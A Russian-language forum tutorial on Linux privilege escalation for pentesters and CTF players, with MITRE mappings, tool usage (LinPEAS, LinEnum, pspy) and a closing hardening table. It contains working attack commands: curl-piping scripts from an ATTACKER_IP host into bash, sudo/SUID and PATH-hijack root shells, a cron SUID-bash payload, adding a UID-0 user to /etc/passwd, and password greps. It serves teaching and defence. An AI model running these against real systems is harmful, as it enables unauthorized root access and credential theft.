HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.04.2026, 11:15
Сергей Попов
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами: 5656404

Репутация: 0
По умолчанию



Ты получил shell на машине. Курсор мигает от имени
Код:
www-data
или какого-нибудь
Код:
low-priv-user
. До root - один шаг, но этот шаг может занять пять минут или пять часов - насколько широк арсенал техник и инструментов для этого, я разложил в полном руководстве Linux для пентестера. Зависит от того, умеешь ли ты читать систему. Я разберу повышение привилегий Linux так, как делаю это на реальных пентестах и CTF: от первой команды после foothold до полного root-доступа, с конкретными командами, разбором вывода и объяснением, почему каждая мисконфигурация опасна.
Что такое privilege escalation Linux и зачем это пентестеру
Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от Exploitation for Privilege Escalation (T1068) до Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003).

На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из
Код:
/etc/shadow
, закрепиться бэкдором или пойти дальше по сети - нужен root. Без privilege escalation пентест заканчивается на полпути, а отчёт будет жиденьким.

Повышение привилегий бывает двух видов:
  • Вертикальное - от обычного пользователя к root (или другому привилегированному аккаунту)
  • Горизонтальное - переход на другого пользователя с тем же уровнем прав, но с доступом к другим данным
Здесь фокус на вертикальном - от low-priv до root-доступа.
Ручная разведка: первые команды после foothold
Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK:
Код:
whoami
/
Код:
id
- System Owner/User Discovery (T1033),
Код:
hostname
/
Код:
uname -a
/
Код:
cat /etc/os-release
- System Information Discovery (T1082).
Кто я и где я

Bash:


Код:
whoami
# текущий пользователь
id
# UID, GID и группы - обрати внимание на docker, lxd, disk
hostname
# имя хоста - часто подсказывает роль сервера
uname
-a
# ядро и архитектура - критично для kernel exploits
cat
/etc/os-release
# дистрибутив и версия
Вывод
Код:
id
может сразу дать вектор. Если пользователь в группе
Код:
docker
,
Код:
lxd
или
Код:
disk
- считай, полдела сделано. Это почти гарантированный путь к root без единого эксплойта.
Проверка sudo

Bash:


Код:
sudo
-l
# какие команды можно выполнять через sudo
sudo
-V
# версия sudo - старые версии бывают дырявыми
Код:
sudo -l
- первое, что я набираю на любой машине. Если в выводе
Код:
NOPASSWD
и любой бинарь из GTFOBins - можно идти пить кофе, root уже твой.
Поиск SUID-бинарей

Bash:


Код:
find
/ -perm -4000 -type f -ls
2>
/dev/null
Эта команда ищет все файлы с установленным SUID-битом. Каждый такой файл выполняется с правами владельца, а не текущего пользователя. Если владелец root, а бинарь позволяет выполнить произвольную команду - это прямой путь к эскалации привилегий (T1548.001, Privilege Escalation / Defense Evasion).
Cron-задачи и таймеры

Bash:


Код:
cat
/etc/crontab
# системные cron-задачи
ls
-la /etc/cron.d/
# дополнительные cron-конфиги
ls
-la /etc/cron.daily/ /etc/cron.hourly/
# периодические задачи
systemctl list-timers --all
2>
/dev/null
# systemd-таймеры
Сеть и сервисы

Bash:


Код:
ip
a
# сетевые интерфейсы - ищи dual-homed
ss -tlnp
# слушающие порты - внутренние сервисы
cat
/etc/hosts
# записи hosts - могут указать на другие машины
История и пароли

Bash:


Код:
history
# команды предыдущих сессий
cat
~/.bash_history
2>
/dev/null
# история bash
find
/ -name
"*.conf"
-o -name
"*.cfg"
-o -name
"*.ini"
2>
/dev/null
|
head
-20
grep
-ri
"password"
/etc/
2>
/dev/null
|
head
-20
File and Directory Discovery (T1083), доступ к /etc/passwd и /etc/shadow (T1003.008, Credential Access) и поиск паролей в конфигурационных файлах (T1552.001, Credential Access) - классика post-exploitation. Удивительно, как часто пароли валяются в конфигах в открытом виде.
LinPEAS: автоматизация разведки для повышения привилегий
LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит.
Как запустить LinPEAS
Ты уже на целевой машине. Способ доставки зависит от ситуации:

Вариант 1 - через HTTP-сервер атакующего:

Bash:


Код:
# На атакующей машине (Kali/Parrot):
python3 -m http.server
8080
# На целевой машине:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
Вариант 2 - загрузка и запуск локально:

Bash:


Код:
# На целевой машине:
wget
http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod
+x /tmp/linpeas.sh
/tmp/linpeas.sh
Вариант 3 - без сохранения скрипта на диск (частичная скрытность):

Bash:


Код:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/linpeas_output.txt
Третий вариант удобен тем, что скрипт не сохраняется как файл, но вывод ловишь для анализа. Только не обольщайся - это не полноценный stealth: процесс виден в
Код:
/proc
, а
Код:
auditd
всё зафиксирует.
Как читать вывод LinPEAS
LinPEAS использует цветовую маркировку. Вот что реально важно:

ЦветЗначениеДействиеКрасн ый/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий векторКрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатациейЗелёныйИнтер есная информация для дальнейшего анализаЗапомни на потомСинийОбычная системная информацияИспользуй для контекста

Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
  • SUID-бинари, которые есть в GTFOBins
  • Cron-задачи, запускающие скрипты с записью для всех
  • Sudo-правила с NOPASSWD для опасных команд
  • Writable файлы в PATH
  • Capabilities вроде
    Код:
    cap_setuid
    на бинарях
  • Пароли в конфигурационных файлах
LinEnum: альтернатива для повышения привилегий Linux
LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах).
Запуск LinEnum

Bash:


Код:
# Доставка аналогична LinPEAS:
wget
http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod
+x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t
# флаг -t включает расширенные проверки
LinEnum собирает информацию о пользователях, файловых правах, процессах, пакетах, сетевых конфигурациях, cron-задачах, журналах, версиях ПО. Вывод структурирован по разделам - удобно для быстрого прогона.
Сравнение инструментов автоматизации

ИнструментНазначениеЦвето вая маркировкаСкоростьГлубина LinPEASПолная разведка привилегийДаСредняяМаксим альнаяLinEnumПеречисление системной информацииНетВысокаяСредн яяpspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредня яНастраиваемая

pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в
Код:
/etc/crontab
(пользовательские crontab'ы других аккаунтов). Запускаешь pspy, ждёшь пару минут - и видишь, какие процессы стартуют от root.

Bash:


Код:
# Запуск pspy:
./pspy64
# для 64-bit систем
# или
./pspy32
# для 32-bit
Техники повышения привилегий Linux: пошаговые примеры
Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает.
Sudo misconfiguration: злоупотребление правами sudo
Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах.

Шаг 1 - проверяем sudo-права:

Bash:


Код:
sudo
-l
Пример вывода:

Код:


Код:
User www-data may run the following commands on target:
    (root) NOPASSWD: /usr/bin/find
Шаг 2 - проверяем GTFOBins:

Идём на GTFOBins и ищем
Код:
find
. В разделе "Sudo":

Bash:


Код:
sudo
find
.
-exec /bin/bash
\
;
-quit
Шаг 3 - получаем root:

Bash:


Код:
sudo
find
.
-exec /bin/bash
\
;
-quit
whoami
# root
Почему это работает? Админ хотел дать пользователю возможность искать файлы, но
Код:
find
с флагом
Код:
-exec
выполняет любую команду.
Код:
NOPASSWD
- даже пароль не спросит. Одна строка в sudoers - и система скомпрометирована.

Другие опасные бинари в sudo:
Код:
vim
,
Код:
nano
,
Код:
less
,
Код:
awk
,
Код:
perl
,
Код:
python
,
Код:
ruby
,
Код:
env
,
Код:
man
. Каждый позволяет получить shell. Видишь любой из них в выводе
Код:
sudo -l
- сразу проверяй GTFOBins.
SUID бит Linux: эксплуатация через бинари с setuid
SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion).

Шаг 1 - находим SUID-бинари:

Bash:


Код:
find
/ -perm -4000 -type f -ls
2>
/dev/null
Пример вывода (обрезанный):

Код:


Код:
131085   40 -rwsr-xr-x   1 root  root   40152 Jan 27  2020 /usr/bin/mount
  131090   44 -rwsr-xr-x   1 root  root   44784 Jan 27  2020 /usr/bin/newgrp
  131143   64 -rwsr-xr-x   1 root  root   63960 Feb  7  2020 /usr/bin/passwd
  262285   20 -rwsr-xr-x   1 root  root   16712 Sep  1  2020 /opt/custom-backup
Стандартные SUID-бинари (
Код:
mount
,
Код:
passwd
,
Код:
ping
) - норма, они тут живут. Нас интересуют нестандартные:
Код:
/opt/custom-backup
- вот это уже подозрительно.

Шаг 2 - анализируем нестандартный бинарь:

Bash:


Код:
file
/opt/custom-backup
strings /opt/custom-backup
|
head
-30
ltrace /opt/custom-backup
2>
&1
|
head
-20
# если ltrace доступен
Если
Код:
strings
показывает вызов внешней команды без полного пути (просто
Код:
cp
вместо
Код:
/usr/bin/cp
) - это потенциальный вектор для PATH manipulation. Работает, когда SUID-бинарь вызывает команду через
Код:
system()
/
Код:
popen()
(они используют shell и переменную PATH). Если бинарь использует
Код:
execve()
с абсолютным путём - этот фокус не пройдёт. Проверить можно через
Код:
ltrace
или
Код:
strace
(если доступен).

Шаг 3 - эксплуатация через PATH:

Bash:


Код:
# Создаём вредоносный "cp" в /tmp:
echo
'#!/bin/bash'
>
/tmp/cp
echo
'/bin/bash -p'
>>
/tmp/cp
chmod
+x /tmp/cp
# Подменяем PATH:
export
PATH
=
/tmp:
$PATH
# Запускаем SUID-бинарь:
/opt/custom-backup
whoami
# root
Флаг
Код:
-p
у bash - критически важен. Без него bash сбросит привилегии. С
Код:
-p
он сохраняет effective UID, установленный через SUID. Для тех кто в танке - без этого флага bash решит, что ты «не настоящий root», и откатит права обратно.
Цитата:

Примечание: На современных дистрибутивах (Debian 12+, Ubuntu 22.04+) glibc secure execution mode (
Код:
__libc_enable_secure
) может сбрасывать переменные окружения (включая PATH) для SUID-процессов, а
Код:
system()
может использовать
Код:
/bin/sh

Код:
dash
, который ведёт себя иначе. Проверяй, какой shell использует
Код:
system()
и не сбрасывается ли PATH в конкретной среде.

Cron jobs privilege escalation: эксплуатация планировщика задач
Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра.

Шаг 1 - находим cron-задачи:

Bash:


Код:
cat
/etc/crontab
ls
-la /etc/cron.d/
Пример вывода /etc/crontab:

Код:


Код:
* * * * * root /opt/scripts/backup.sh
Шаг 2 - проверяем права на скрипт:

Bash:


Код:
ls
-la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh
Права
Код:
777
- writable для всех. Скрипт выполняется каждую минуту от root. Тут даже думать не надо.

Шаг 3 - внедряем payload:

Bash:


Код:
echo
'#!/bin/bash'
>
/opt/scripts/backup.sh
echo
'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
>>
/opt/scripts/backup.sh
Шаг 4 - ждём минуту и получаем root:

Bash:


Код:
# Через минуту:
ls
-la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root
Если cron-задача не видна в
Код:
/etc/crontab
, запускаем pspy и наблюдаем процессы в реальном времени. Пользовательские crontab'ы скрыты от других аккаунтов, но pspy покажет их выполнение - он мониторит
Код:
/proc
напрямую.
Kernel exploit: эксплуатация уязвимостей ядра
Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика).

Классический пример - Dirty COW (CVE-2016-5195). По данным NVD: race condition в
Код:
mm/gup.c
в ядрах Linux 2.x–4.x до 4.8.3 позволяет локальным пользователям повысить привилегии через некорректную обработку copy-on-write (COW) при записи в read-only memory mapping. CVSS: 7.0 (HIGH), вектор
Код:
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
. CWE: CWE-362 (Race Condition).

Разбор CVSS-вектора (чтобы не казался магическими буквами):
  • Код:
    AV:L
    - атака локальная, нужен доступ к системе
  • Код:
    AC:H
    - высокая сложность (race condition - надо поймать момент)
  • Код:
    PR:L
    - достаточно низких привилегий
  • Код:
    UI:N
    - действия пользователя не требуются
Порядок действий при поиске kernel-эксплойтов:

Bash:


Код:
# 1. Узнаём версию ядра:
uname
-r
# Пример: 3.13.0-24-generic
# 2. Запускаем Linux Exploit Suggester:
./linux-exploit-suggester.sh
# 3. Или ищем вручную:
searchsploit linux kernel
3.13
privilege escalation
Linux Exploit Suggester оценивает вероятность успеха: Highly Probable, Probable, Less Probable. Фокусируйся на первой категории - остальные чаще расстраивают, чем радуют.
Writable /etc/passwd: добавление root-пользователя
Если файл
Код:
/etc/passwd
доступен для записи (встречается на CTF-машинах и иногда в реальных средах с кривыми руками), можно тупо добавить нового пользователя с UID 0.

Bash:


Код:
# Проверяем права:
ls
-la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd
# Генерируем хеш пароля (SHA-512, OpenSSL 1.1.1+; если -6 недоступен, используй -1 для MD5):
openssl
passwd
-6 -salt xyz password123
# $6$xyz$rD...hash...
# Добавляем пользователя с UID 0:
echo
'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash'
>>
/etc/passwd
# Переключаемся:
su
hacker
# Вводим password123
whoami
# root
Это прямой пример техники Create Account: Local Account (T1136.001, Persistence) - добавление нового пользователя с UID 0 в файл учётных данных.
Пошаговый чейн: от shell до root
Собираю всё в единый алгоритм - так я работаю на реальной машине:

Делай раз - базовая разведка руками:

Bash:


Код:
whoami
&&
id
uname
-a
sudo
-l
cat
/etc/crontab
find
/ -perm -4000 -type f -ls
2>
/dev/null
Если
Код:
sudo -l
даёт вектор - эксплуатируй сразу через GTFOBins. Нестандартный SUID-бинарь - анализируй. Writable cron-задача - модифицируй. На этом этапе 60% CTF-машин уже решены.

Делай два - запускай LinPEAS:

Bash:


Код:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/lp.txt
Ищи красно-жёлтые маркеры. Проверяй всё, что LinPEAS отметил как высоковероятный вектор. Обращай внимание на capabilities (
Код:
getcap -r / 2>/dev/null
), writable директории в PATH и конфиги с паролями.

Делай три - мониторинг и глубокий анализ:

Bash:


Код:
# Если ничего не нашлось - запускай pspy:
./pspy64
# Параллельно ищи пароли:
grep
-ri
"pass\|pwd\|credential"
/var/www/ /opt/ /home/
2>
/dev/null
find
/ -name
"*.bak"
-o -name
"*.old"
-o -name
"*.conf"
2>
/dev/null
|
xargs
grep
-li
"password"
2>
/dev/null
Только если все предыдущие шаги не дали результат - переходи к kernel exploits. Проверяй версию ядра через Linux Exploit Suggester и ищи подходящий эксплойт. Это крайний вариант, а не первый.
Как автоматика конкурирует с ручным анализом
Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins.

Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить
Код:
/usr/bin/python3
с capability
Код:
cap_setuid
красным цветом, но конвертировать эту находку в root shell должен ты:

Bash:


Код:
# Пример: Python с cap_setuid
/usr/bin/python3 -c
'import os; os.setuid(0); os.system("/bin/bash")'
Защита и Linux hardening: что закрывать
Понимание атак даёт понимание защиты. Конкретные рекомендации:

Вектор атакиМера защитыSudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путёмSUID на нестандартных бинаряхРегулярно аудитировать:
Код:
find / -perm -4000 -type f -ls
. Снимать SUID-бит с ненужных файлов:
Код:
chmod u-s /path/to/binary
Writable cron-скриптыВладелец root, права 700 или 755. Никогда не 777Устаревшее ядроОбновлять ядро. Использовать
Код:
livepatch
для критичных систем, где перезагрузка невозможнаПароли в конфигахVault-системы (HashiCorp Vault, ansible-vault). Права на конфиги: 600, владелец - сервисный аккаунтWritable /etc/passwdПрава:
Код:
/etc/passwd
- 644,
Код:
/etc/shadow
- 640. Мониторить изменения через auditd

Итоги
Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта.

Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено.
 
Ответить с цитированием

  #2  
Старый 13.04.2026, 18:11
alfabuster
Новичок
Регистрация: 12.04.2026
Сообщений: 0
С нами: 48975

Репутация: 0
По умолчанию

Да LinPeas это чуть ли не основная утилита, для быстрого поиска повышения привелегий в linux системах. pspy тоже крутая утилита, для поиска процессов запускающихся и запущенных в реальном времени. Остальные утилиты уже давненько так на гитхабе не обновляются...
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.